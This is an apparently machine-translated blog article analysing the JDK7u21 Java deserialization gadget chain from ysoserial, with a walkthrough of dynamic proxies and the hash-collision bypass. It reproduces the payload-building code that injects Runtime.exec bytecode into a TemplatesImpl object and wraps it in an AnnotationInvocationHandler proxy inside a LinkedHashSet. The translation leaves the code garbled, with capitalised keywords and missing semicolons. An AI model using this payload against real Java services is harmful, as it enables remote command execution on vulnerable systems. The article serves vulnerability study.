In addition to Weibo, there is also WeChat
Please pay attention
WeChat public account
Shulou
2025-01-16 Update From: SLTechnology News&Howtos shulou NAV: SLTechnology News&Howtos > Network Security >
Share
Shulou(Shulou.com)05/31 Report--
This article is about a sample analysis of JDK7u21 deserialization vulnerabilities. The editor thinks it is very practical, so share it with you as a reference and follow the editor to have a look.
0x00 TLDR
In the last study of ApacheCommonsCollections, due to the local JRE environment is 1.8, can not reproduce the payload provided by the bosses on the Internet, but in the process of finding information found ysoserial this project, simply speaking, is a framework for the use of Java deserialization vulnerabilities, which integrates a lot of payload for different frameworks. In the process of using this framework, I found a payload of JDK7u21, which exploits the vulnerability of JDK itself, but as the name says, this only works in JDK7u21 and previous versions. After days of debugging and analysis, it is found that the exploit process of this vulnerability is very ingenious and complex, and there are many places worth learning. The author of the vulnerability also wrote a writeup and put it on gist.
This loophole looks very simple, but it is very difficult to debug in practice, and it took several days for the chicken to fully understand it. Part of the reason is that you are not familiar with some of the characteristics of Java, so you still have to try it yourself if you want to learn something. It is useless to read the articles of other big names, and the summary of the article has once again deepened the understanding of the loophole. After all, if you want to explain it to everyone, you need to figure it out for yourself.
0x01 generates Java code dynamically
Before we start the analysis, let's learn the pre-skills. In this PoC, the author dynamically generates a malicious gadgets through javassist to trigger command execution.
Public static TemplatesImpl createTemplatesImpl (final String command) throws Exception {
/ / use the TemplatesImpl class to trigger malicious bytescode
Final TemplatesImpl templates = new TemplatesImpl ()
/ / get container ClassPool and inject classpath
ClassPool pool = ClassPool.getDefault ()
System.out.println ("insertClassPath:" + new ClassClassPath (StubTransletPayload.class))
Pool.insertClassPath (new ClassClassPath (StubTransletPayload.class))
/ / get the compiled class
System.out.println ("ClassName:" + StubTransletPayload.class.getName ())
Final CtClass clazz = pool.get (StubTransletPayload.class.getName ())
/ / insert payload into the static constructor
Clazz.makeClassInitializer ()
.insertAfter ("java.lang.Runtime.getRuntime (). Exec (\")"
+ command.replaceAll ("\", "\\")
+ "\"); ")
/ / set a name for the payload class
/ / unique name to allow repeated execution (watch out for PermGen exhaustion)
Clazz.setName ("ysoserial.Pwner" + System.nanoTime ())
/ / get the bytecode of this class
Final byte [] classBytes = clazz.toBytecode ()
/ / inject class bytes into instance
Reflections.setFieldValue (
Templates
"_ bytecodes"
New byte [] [] {
ClassBytes
ClassFiles.classAsBytes (Foo.class)
});
/ / required to make TemplatesImpl happy
Reflections.setFieldValue (templates, "_ name", "Pwnr")
Reflections.setFieldValue (templates, "_ tfactory", new TransformerFactoryImpl ())
/ / as long as this method is triggered, the injected bytecodes can be executed.
/ / templates.getOutputProperties ()
Return templates
}
The instructions are given in the comments, and by carefully constructing a TemplatesImpl object and finding a way to trigger the object's getOutputPropertites () method, the command we constructed can be executed.
0x02 dynamic agent
The dynamic proxy in Java is very flexible. If you only need to specify an InvocationHandler object for a set of interfaces, then when the interface method is called, it will be transferred to the invoke method of the handler object, in which you can execute the original method through reflection or do some other operations.
All Handler classes need to implement the interface InvocationHandler. When we call a method through a proxy object, the call will be transferred to the invoke method of Handler, which is signed as follows:
Object invoke (Object proxy, Method method, Object [] args) throws Throwable
Proxy: the real object being represented
Method: the Method object of the real object method to be called
Args: parameter when calling a real object method
After you have created the InvocationHandler object, you can create a dynamic proxy using the Proxy.newProxyInstance method, which is signed as follows:
Public static Object newProxyInstance (ClassLoader loader, Class [] interfaces, InvocationHandler h) throws IllegalArgumentException
Loader: defines which ClassLoader object loads the generated proxy object
Interfaces: an array of Interface objects that represents a set of interfaces to be provided to objects that need proxies
H: InvocationHandler object, indicating which InvocationHandler object the current dynamic proxy object should be associated with when calling a method
Let's look at an example of a dynamic agent:
/ / APIs to be implemented
Interface ISubject {
Public void hello (String str)
}
/ / actual objects that need to be proxied
Class SubjectImpl implements ISubject {
Public void hello (String str) {
System.out.println ("SubjectImpl.hello ():" + str)
}
}
/ / Handler object
Class Handler implements InvocationHandler {
Private Object subject
Public Handler (Object subject) {
This.subject = subject
}
Public Object invoke (Object object, Method method, Object [] args) throws Throwable {
System.out.println ("before!")
Method.invoke (this.subject, args)
System.out.println ("after!")
Return null
}
}
Public class DynamicProxy {
Public static void main (String [] args) {
SubjectImpl subject = new SubjectImpl ()
InvocationHandler tempHandler = new Handler (subject)
/ / create an agent
ISubject iSubject = (ISubject) Proxy.newProxyInstance (ISubject.class.getClassLoader (), new Class [] {ISubject.class}, tempHandler)
ISubject.hello ("world!")
}
}
When the proxy is created, when we call the iSubject.hello method, it will be assigned to the invoke method for execution. The output is as follows:
Before!
SubjectImpl.hello (): world!
After!
0x03 vulnerability analysis
Having said that, let's analyze this vulnerability together. This PoC is modified on the basis of payload in ysoserial. It may be easier to understand. Paste the main part of PoC first:
Public Object getObject (final String command) throws Exception {
/ / generate malicious templates and find a way to trigger templates.getOutputProperties (); method
Object templates = Gadgets.createTemplatesImpl (command)
String zeroHashCodeStr = "f5a5a608"
/ / create a new HashMap
HashMap map = new HashMap ()
Map.put (zeroHashCodeStr, "foo")
/ / create a handler with the handler,AnnotationInvocationHandler used by the agent as the dynamic proxy
/ / after the proxy is created, all methods that call the proxied object will call the invoke method of AnnotationInvocationHandler
Constructor ctor = Class.forName ("sun.reflect.annotation.AnnotationInvocationHandler"). GetDeclaredConstructors () [0]
Ctor.setAccessible (true)
InvocationHandler tempHandler = (InvocationHandler) ctor.newInstance (Templates.class, map)
/ / create an agent
/ / all subsequent methods that call the Templates interface will be transferred to the tempHandler.invoke method
Templates proxy = (Templates) Proxy.newProxyInstance (JDK7u21.class.getClassLoader (), templates.getClass () .getInterfaces (), tempHandler)
Reflections.setFieldValue (templates, "_ auxClasses", null)
Reflections.setFieldValue (templates, "_ class", null)
LinkedHashSet set = new LinkedHashSet (); / / maintain order
Set.add (templates); / / TemplatesImpl class objects that store malicious java bytecode data
Set.add (proxy); / / proxies the object of the Templates interface
Map.put (zeroHashCodeStr, templates)
/ / the final payload is stored in set. You only need to deserialize this to trigger it.
Return set
}
Most of the code has written some comments, which should be understood as a whole, and then take a closer look at how the command execution is triggered.
In fact, HashSet is essentially a HashMap,key that we store data, and value is a static Object object.
When LinkedHashSet is unsequenced, the readObject method of its parent class HashSet is called.
According to the logic of this part, you can see that during deserialization, templates and proxy are added to the map in turn, and continue to follow the put method:
A key comparison is the 475 lines with breakpoints in the figure. Here we need to continue to trigger the key.equals (k) method. Let's not talk about the previous decision for a while and continue to follow up. Because we proxy the templates interface, when we call templates.equals (), we naturally call the invoke method of handler, that is, the proxy.equals (templates) method.
If you continue to follow up the equalsImpl method, you will find that this method will call each method of Templates in turn (if you don't quite understand, you can follow it here), so it will call the Templates.getOutputProperties () method we mentioned earlier, resulting in command execution.
At this point, the whole process has been worked out, and the overall call chain is like this, refer to the diagram of the vulnerability author:
To simplify, it looks like this:
LinkedHashSet.readObject ()
HashSet.readObject ()
HashMap.put ()
Templates.equals ()
AnnotationInvocationHandler.invoke ()
AnnotationInvocationHandler.equalsImpl ()
Method.invoke ()
TemplatesImpl.getOutputProperties ()
As to why you can execute the command by calling TemplatesImpl.getOutputProperties (), you can follow it yourself. The author of the loophole also gives the call chain, which is not very difficult to understand, so I won't explain it here.
0x04 bypasses hash
We have just mentioned a very important judgment that we must bypass the previous hash judgment if we want to use the equals method.
E.hash = = hash & & ((k = e.key) = = key | | key.equals (k))
In order to call the final key.equals method, according to the logical short-circuit principle (google yourself if you don't know what a short-circuit principle is), you must make e.hash = = hash as true and (k = e.key) = = key as false.
When you execute put (proxy), there is actually the first templates in map, and the hash here is proxy.hashCode,e.hash is templates.hashCode, that is, you need to meet the condition of proxy.hashCode () = = templates.hashCode ().
Templates.hashCode () is better to say that this class is not overridden and calls the default hashCode method. When proxy.hashCode () is called, it jumps to the AnnotationInvocationHandler.invoke () method and takes a look at how it handles the hashCode () method.
The this.hashCodeImpl () method is called on line 48, and after further follow-up, it is found that the method traverses from memberValues and calculates key.hashCode () in turn, and this memberValues is passed in when we initialize AnnotationInvocationHandler:
/ / create a new HashMap
HashMap map = new HashMap ()
Map.put (zeroHashCodeStr, "foo"); / / OK without this line
/ / create a handler with the handler,AnnotationInvocationHandler used by the agent as the dynamic proxy
/ / after the proxy is created, all methods that call the proxied object will call the invoke method of AnnotationInvocationHandler
Constructor ctor = Class.forName ("sun.reflect.annotation.AnnotationInvocationHandler"). GetDeclaredConstructors () [0]
Ctor.setAccessible (true)
InvocationHandler tempHandler = (InvocationHandler) ctor.newInstance (Templates.class, map)
...
Map.put (zeroHashCodeStr, templates)
The key of this map is the special string "f5a5a608" we set, and the hashCode of this string is 0, which is very interesting. And the whole seemingly long cycle actually becomes
Var1 + = 127* (0 ^ entry.getValue () .hashCode ())
So what is this value? This is the templates we constructed. The whole hash calculation becomes templates.hashCode (), so proxy.hashCode () = = templates.hashCode () is established. If you don't understand, you are advised to debug it manually.
The second condition, e.key = = key, is obviously different, one is templates and the other is proxy, so this condition is false, which will eventually call the equals method.
Thank you for reading! This is the end of this article on "sample analysis of JDK7u21 deserialization vulnerabilities". I hope the above content can be of some help to you, so that you can learn more knowledge. if you think the article is good, you can share it for more people to see!
Welcome to subscribe "Shulou Technology Information " to get latest news, interesting things and hot topics in the IT industry, and controls the hottest and latest Internet news, technology news and IT industry trends.
Views: 0
*The comments in the above article only represent the author's personal views and do not represent the views and positions of this website. If you have more insights, please feel free to contribute and share.
Continue with the installation of the previous hadoop.First, install zookooper1. Decompress zookoope
"Every 5-10 years, there's a rare product, a really special, very unusual product that's the most un
© 2024 shulou.com SLNews company. All rights reserved.